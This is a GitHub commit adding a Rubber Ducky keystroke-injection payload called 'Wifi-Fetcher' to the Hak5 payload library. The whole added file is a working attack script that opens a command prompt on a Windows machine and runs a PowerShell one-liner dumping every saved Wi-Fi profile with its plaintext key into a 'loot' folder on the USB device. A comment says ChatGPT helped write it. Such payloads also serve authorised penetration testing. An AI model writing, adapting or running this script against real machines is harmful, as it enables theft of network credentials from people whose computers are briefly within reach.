Create Wifi-Fetcher

Adding a payload to the Hak5 liberary
pull/425/head
NightCoder-bit 2023-12-31 23:24:19 +01:00 committed by GitHub
parent f2f850b555
commit 85a4061580
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 24 additions and 0 deletions

View File

@ -0,0 +1,24 @@
REM NAME: Wifi-Fetcher
REM AUTHOR: nightcrafttrl1
REM DEVICE: RubberDucky
REM TARGETS: WINDOWS 7 or greater
REM DESCRIPTION: This payload will fetch the windows system
REM for the passwords and other info about every wifi network the system can connect to
REM credits:ChatGPT helped a little here and there
DELAY 1000
REM Switch to HID STORAGE mode
ATTACKMODE HID STORAGE
DELAY 3000
GUI r
DELAY 100
STRINGLN cmd
ENTER
DELAY 500
STRING powershell -c "netsh wlan show profiles | Select-String 'All User Profile\s*:\s*(.+)' | ForEach-Object { $_ -match 'All User Profile\s*:\s*(.+)'; $matches[1] } | ForEach-Object { netsh wlan show profile name=$_ key=clear } | Out-File -FilePath 'D:\loot\PwnedWIFI\all_wifi_info.txt'; netsh wlan export profile key=clear | Out-File -Append -FilePath 'D:\loot\PwnedWIFI\all_wifi_passwords.txt';"
ENTER
DELAY 3000
REM Append a 0.5-second delay, exit PowerShell, and turn off DuckyScript
STRING exit
ENTER
DELAY 500
ATTACKMODE OFF